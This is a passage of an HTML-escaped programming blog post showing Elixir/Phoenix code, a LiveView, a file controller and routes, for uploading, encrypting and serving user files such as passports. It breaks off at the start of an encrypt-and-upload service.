&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;65&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:noreply&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign_files&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_flash&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:info&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Upload successful!&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;66&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;67&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;68&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;69&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse_content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;70&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;client_type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;71&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;image/png&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:png&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;72&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;image/jpeg&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:jpeg&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;73&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;application/pdf&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:pdf&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;74&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;75&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;76&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;77&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign_files&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;78&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;files&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Files&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;list_files_for_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;79&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:files&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;80&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;81&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s go through this code from top to bottom. First, we create our &lt;code&gt;heex&lt;/code&gt; template that shows a small form that accepts a &lt;code&gt;live_file_upload&lt;/code&gt; input called &lt;code&gt;:passport&lt;/code&gt;. Next, it lists all files of the currently logged-in user and if the user clicks on one of these files, it sends &lt;code&gt;show&lt;/code&gt; event to the LiveView. Lastly, it embeds either an image or an &lt;code&gt;embed&lt;/code&gt; element, which receives the URL path to the currently selected file through the &lt;code&gt;src&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;You might wonder why we don&apos;t embed the file directly from the LiveView by assigning its data Base64 encoded to an image HTML element. Although this approach works for images, it doesn&apos;t work (well) for PDFs. It&apos;s easier to let the HTML element make the HTTP request and render the returned value.&lt;/p&gt;
&lt;p&gt;After the &lt;code&gt;render/1&lt;/code&gt; function, we have the usual &lt;code&gt;mount/3&lt;/code&gt; callback followed by the &lt;code&gt;handle_event(&quot;validate&quot;, _params, socket)&lt;/code&gt; function. These functions are necessary for displaying the form and the files, but not that interesting. Let&apos;s move on.&lt;/p&gt;
&lt;p&gt;The juicy stuff begins in the event handler of the &lt;code&gt;save&lt;/code&gt; event. Here, we consume the uploaded file and pass it on to the &lt;code&gt;EncryptAndUploadFile&lt;/code&gt; service. In the &lt;code&gt;consume_uploaded_entries&lt;/code&gt; function, we first read the file content from the temporary file that Phoenix created for us. We parse the content type from the defined types like &lt;code&gt;application/pdf&lt;/code&gt; to something that makes it easier to work with in Elixir like the atom &lt;code&gt;:pdf&lt;/code&gt;. You don&apos;t necessarily need to do this, but it makes it easier to check the type of a file in your UI.&lt;/p&gt;
&lt;p&gt;We&apos;ll get to the &lt;code&gt;EncryptAndUploadFile&lt;/code&gt; service later, but based on its result, we either return &lt;code&gt;:ok&lt;/code&gt; or &lt;code&gt;&amp;lbrace;:error, error&amp;rbrace;&lt;/code&gt; from the consume function and put a success or error flash on our socket which will show a notification toast in our UI.&lt;/p&gt;
&lt;p&gt;Okay, this LiveView is quite complex, so I&apos;d advise you to copy&amp;paste it into your own application and to play around with it.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s move on the controller that downloads, decrypts, and returns the files when the &lt;code&gt;&lt;img&gt;&lt;/code&gt; or &lt;code&gt;&lt;embed&gt;&lt;/code&gt; elements request it.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-controller&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-controller&quot;&gt;&lt;/a&gt;The Controller&lt;/h2&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb.FileController&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DemoWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:controller&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.DownloadEncryptedFile&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;show&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;slug&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;assigns&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Files&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_file_by_slug!&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;raw_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;DownloadEncryptedFile&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_resp_header&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;content-type&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;convert_content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_resp&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;raw_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;convert_content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:pdf&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;application/pdf&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:jpeg&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;image/jpeg&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:png&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;image/png&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The controller isn&apos;t horribly complicated, but simply fetches a file from the database by the given slug, hands over the file to the &lt;code&gt;DownloadEncryptedFile&lt;/code&gt; service, which we&apos;ll get into later, and returns the decrypted file together with its content type as response header.&lt;/p&gt;
&lt;p&gt;Moving on the last piece of the (web) puzzle, the &lt;code&gt;Routes&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-router&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-router&quot;&gt;&lt;/a&gt;The Router&lt;/h2&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# router.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;live&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/upload&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;UploadLive&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/files/:slug&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;FileController&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:show&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add these two routes to your &lt;code&gt;router.ex&lt;/code&gt; and you should be able to upload and view your files.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s move on to the really interesting bits: The encryption and decryption services.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#encrypt-and-upload-files&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;encrypt-and-upload-files&quot;&gt;&lt;/a&gt;Encrypt and Upload Files&lt;/h2&gt;
&lt;p&gt;Our &lt;code&gt;EncryptAndUploadFile&lt;/code&gt; service takes care of creating a file schema, encrypting its contents, and uploading them to S3. Have a look at the code first. We&apos;ll discuss it below:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.EncryptAndUploadFile&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Files.GenerateSecureString&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Demo.Repo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;iv_size &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;byte_content&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;content_type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;key&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;current_user&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;encryption_key&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;iv&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;GenerateSecureString&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;iv_size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;resource_path&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/files/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.UUID&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;generate&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;transact&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
